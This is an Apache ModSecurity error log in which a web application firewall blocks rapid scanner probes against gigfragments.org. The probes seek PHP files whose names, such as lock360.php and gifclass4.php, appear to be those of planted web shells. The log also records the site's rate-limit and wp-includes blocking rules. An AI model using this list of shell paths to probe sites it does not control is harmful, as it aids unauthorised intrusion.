[Thu Feb 26 22:26:07.800017 2026] [:error] [pid 20419:tid 20446] [client 4.194.131.131:2080] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaBX_-3DVDvMfTYYUBVo7wAAAdg"]
[Thu Feb 26 22:26:08.153449 2026] [:error] [pid 55051:tid 55054] [client 4.194.131.131:2425] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaBYAAmK1w2kZvh5eLHQrQAAAIA"]
[Thu Feb 26 22:26:08.225499 2026] [:error] [pid 3883:tid 3896] [client 20.151.107.14:62862] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaBYAOA33x90V6yYHaj25gAAAUo"]
[Thu Feb 26 22:26:08.375499 2026] [:error] [pid 20419:tid 20427] [client 4.194.131.131:2521] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaBYAO3DVDvMfTYYUBVo8wAAAcU"]
[Thu Feb 26 22:26:08.583207 2026] [:error] [pid 44444:tid 44455] [client 4.194.131.131:2073] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaBYAG2sMNmj-yekUk1PYAAAAgU"]
[Thu Feb 26 22:26:08.690654 2026] [:error] [pid 55122:tid 55133] [client 20.151.107.14:63510] [client 20.151.107.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aaBYAILiR0OfjFxvcN82jQAAAMk"]
[Thu Feb 26 22:26:08.833277 2026] [:error] [pid 44444:tid 44469] [client 4.194.131.131:2054] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaBYAG2sMNmj-yekUk1PYQAAAhM"]
[Thu Feb 26 22:26:09.039794 2026] [:error] [pid 55618:tid 55631] [client 4.194.131.131:2519] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaBYAR61Vrh12f_8oWQU1QAAAQo"]
[Thu Feb 26 22:26:09.174865 2026] [:error] [pid 54991:tid 55025] [client 20.151.107.14:63521] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/et-cache/"] [unique_id "aaBYAd4Zx-mJ8gbRB2j_KwAAAEU"]
[Thu Feb 26 22:26:09.242949 2026] [:error] [pid 54991:tid 55022] [client 4.194.131.131:2104] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaBYAd4Zx-mJ8gbRB2j_LAAAAEI"]
[Thu Feb 26 22:26:09.446844 2026] [:error] [pid 20419:tid 20429] [client 4.194.131.131:2070] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaBYAe3DVDvMfTYYUBVo9wAAAcc"]
[Thu Feb 26 22:26:09.621527 2026] [:error] [pid 54991:tid 55038] [client 20.151.107.14:63563] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/et-cache/"] [unique_id "aaBYAd4Zx-mJ8gbRB2j_MQAAAFI"]
[Thu Feb 26 22:26:09.623881 2026] [:error] [pid 54991:tid 55021] [client 4.194.131.131:3068] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaBYAd4Zx-mJ8gbRB2j_MgAAAEE"]
[Thu Feb 26 22:26:09.808535 2026] [:error] [pid 54991:tid 55026] [client 4.194.131.131:2078] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaBYAd4Zx-mJ8gbRB2j_MwAAAEY"]
[Thu Feb 26 22:26:10.032024 2026] [:error] [pid 54991:tid 55032] [client 4.194.131.131:2526] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaBYAt4Zx-mJ8gbRB2j_NQAAAEw"]
[Thu Feb 26 22:26:10.303676 2026] [:error] [pid 54991:tid 55024] [client 4.194.131.131:2554] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaBYAt4Zx-mJ8gbRB2j_NgAAAEQ"]
[Thu Feb 26 22:26:10.312369 2026] [:error] [pid 54991:tid 55040] [client 20.151.107.14:61382] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/et-cache/"] [unique_id "aaBYAt4Zx-mJ8gbRB2j_OAAAAFQ"]
[Thu Feb 26 22:26:10.574347 2026] [:error] [pid 54991:tid 55036] [client 4.194.131.131:2187] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaBYAt4Zx-mJ8gbRB2j_OgAAAFA"]
[Thu Feb 26 22:26:10.778032 2026] [:error] [pid 55051:tid 55062] [client 4.194.131.131:3012] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaBYAgmK1w2kZvh5eLHQsAAAAIg"]
[Thu Feb 26 22:26:10.842837 2026] [:error] [pid 3883:tid 3889] [client 20.151.107.14:64161] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaBYAuA33x90V6yYHaj26gAAAUM"]
[Thu Feb 26 22:26:11.015057 2026] [:error] [pid 55051:tid 55077] [client 4.194.131.131:3015] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaBYAwmK1w2kZvh5eLHQsQAAAJc"]
[Thu Feb 26 22:26:11.226723 2026] [:error] [pid 55051:tid 55059] [client 4.194.131.131:3063] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaBYAwmK1w2kZvh5eLHQswAAAIU"]
[Thu Feb 26 22:26:11.299482 2026] [:error] [pid 55051:tid 55068] [client 20.151.107.14:61335] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaBYAwmK1w2kZvh5eLHQtQAAAI4"]
[Thu Feb 26 22:26:11.451256 2026] [:error] [pid 44444:tid 44452] [client 4.194.131.131:2065] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaBYA22sMNmj-yekUk1PZwAAAgI"]
[Thu Feb 26 22:26:11.674449 2026] [:error] [pid 55051:tid 55073] [client 4.194.131.131:2059] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaBYAwmK1w2kZvh5eLHQtwAAAJM"]
[Thu Feb 26 22:26:11.753751 2026] [:error] [pid 44444:tid 44472] [client 20.151.107.14:63581] [client 20.151.107.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaBYA22sMNmj-yekUk1PaQAAAhY"]
[Thu Feb 26 22:26:11.988285 2026] [:error] [pid 44444:tid 44474] [client 4.194.131.131:2106] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaBYA22sMNmj-yekUk1PagAAAhg"]
[Thu Feb 26 22:26:12.207992 2026] [:error] [pid 54991:tid 55028] [client 4.194.131.131:2525] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aaBYBN4Zx-mJ8gbRB2j_PwAAAEg"]
[Thu Feb 26 22:26:12.410242 2026] [:error] [pid 44444:tid 44468] [client 4.194.131.131:2511] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaBYBG2sMNmj-yekUk1PbgAAAhI"]
[Thu Feb 26 22:26:12.594116 2026] [:error] [pid 54990:tid 54993] [client 4.194.131.131:2530] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaBYBHtr2qmt_mBhH2wviAAAAAA"]
[Thu Feb 26 22:26:12.830723 2026] [:error] [pid 3883:tid 3893] [client 4.194.131.131:2528] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaBYBOA33x90V6yYHaj27AAAAUc"]
[Thu Feb 26 22:26:13.085432 2026] [:error] [pid 3883:tid 3908] [client 4.194.131.131:2523] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aaBYBeA33x90V6yYHaj27QAAAVY"]
[Thu Feb 26 22:26:13.301625 2026] [:error] [pid 44444:tid 44454] [client 4.194.131.131:2747] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBYBW2sMNmj-yekUk1PcwAAAgQ"]
[Thu Feb 26 22:26:13.495546 2026] [:error] [pid 55051:tid 55070] [client 4.194.131.131:2189] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBYBQmK1w2kZvh5eLHQvAAAAJA"]
[Thu Feb 26 22:26:13.727270 2026] [:error] [pid 55051:tid 55072] [client 4.194.131.131:3053] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBYBQmK1w2kZvh5eLHQvgAAAJI"]
[Thu Feb 26 22:26:13.911690 2026] [:error] [pid 55051:tid 55078] [client 4.194.131.131:2100] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aaBYBQmK1w2kZvh5eLHQwAAAAJg"]
[Thu Feb 26 22:26:14.104998 2026] [:error] [pid 55051:tid 55067] [client 4.194.131.131:2182] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaBYBgmK1w2kZvh5eLHQwgAAAI0"]
[Thu Feb 26 22:26:14.316850 2026] [:error] [pid 44444:tid 44456] [client 4.194.131.131:3048] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaBYBm2sMNmj-yekUk1PdQAAAgY"]
[Thu Feb 26 22:26:14.534688 2026] [:error] [pid 3883:tid 3905] [client 4.194.131.131:2198] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaBYBuA33x90V6yYHaj27gAAAVM"]
[Thu Feb 26 22:26:14.720204 2026] [:error] [pid 55051:tid 55069] [client 4.194.131.131:2192] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaBYBgmK1w2kZvh5eLHQxAAAAI8"]
[Thu Feb 26 22:26:14.893895 2026] [:error] [pid 55051:tid 55076] [client 4.194.131.131:2111] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaBYBgmK1w2kZvh5eLHQxgAAAJY"]
[Thu Feb 26 22:26:15.138768 2026] [:error] [pid 25311:tid 25334] [client 4.194.131.131:2543] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaBYB9fdM__yZAgJFSvsSQAAAZQ"]
[Thu Feb 26 22:26:15.324334 2026] [:error] [pid 25311:tid 25333] [client 4.194.131.131:2060] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaBYB9fdM__yZAgJFSvsSgAAAZM"]
[Thu Feb 26 22:26:15.511980 2026] [:error] [pid 54990:tid 55014] [client 4.194.131.131:2547] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass4.php"] [unique_id "aaBYB3tr2qmt_mBhH2wviQAAABU"]
[Thu Feb 26 22:26:15.724805 2026] [:error] [pid 54991:tid 55035] [client 4.194.131.131:2559] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBYB94Zx-mJ8gbRB2j_TQAAAE8"]
[Thu Feb 26 22:26:15.923919 2026] [:error] [pid 44444:tid 44474] [client 4.194.131.131:2105] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBYB22sMNmj-yekUk1PfgAAAhg"]
[Thu Feb 26 22:26:16.110370 2026] [:error] [pid 55051:tid 55065] [client 4.194.131.131:2496] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBYCAmK1w2kZvh5eLHQygAAAIs"]
[Thu Feb 26 22:26:16.299488 2026] [:error] [pid 55051:tid 55073] [client 4.194.131.131:2509] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aaBYCAmK1w2kZvh5eLHQzAAAAJM"]
[Thu Feb 26 22:26:16.486433 2026] [:error] [pid 54991:tid 55020] [client 4.194.131.131:2505] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aaBYCN4Zx-mJ8gbRB2j_TwAAAEA"]
[Thu Feb 26 22:26:16.660143 2026] [:error] [pid 54991:tid 55034] [client 4.194.131.131:3028] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aaBYCN4Zx-mJ8gbRB2j_UgAAAE4"]
[Thu Feb 26 22:26:16.836195 2026] [:error] [pid 54991:tid 55025] [client 4.194.131.131:2540] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aaBYCN4Zx-mJ8gbRB2j_UwAAAEU"]
[Thu Feb 26 22:26:17.014951 2026] [:error] [pid 54991:tid 55044] [client 4.194.131.131:2184] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs15.php"] [unique_id "aaBYCd4Zx-mJ8gbRB2j_VwAAAFg"]
[Thu Feb 26 22:26:17.247240 2026] [:error] [pid 54991:tid 55021] [client 4.194.131.131:2498] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBYCd4Zx-mJ8gbRB2j_WQAAAEE"]
[Thu Feb 26 22:26:17.451337 2026] [:error] [pid 55051:tid 55061] [client 4.194.131.131:2084] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBYCQmK1w2kZvh5eLHQzwAAAIc"]
[Thu Feb 26 22:26:17.623957 2026] [:error] [pid 44444:tid 44470] [client 4.194.131.131:2190] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBYCW2sMNmj-yekUk1PhAAAAhQ"]
[Thu Feb 26 22:26:17.807987 2026] [:error] [pid 55051:tid 55066] [client 4.194.131.131:2089] [client 4.194.131.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aaBYCQmK1w2kZvh5eLHQ0AAAAIw"]
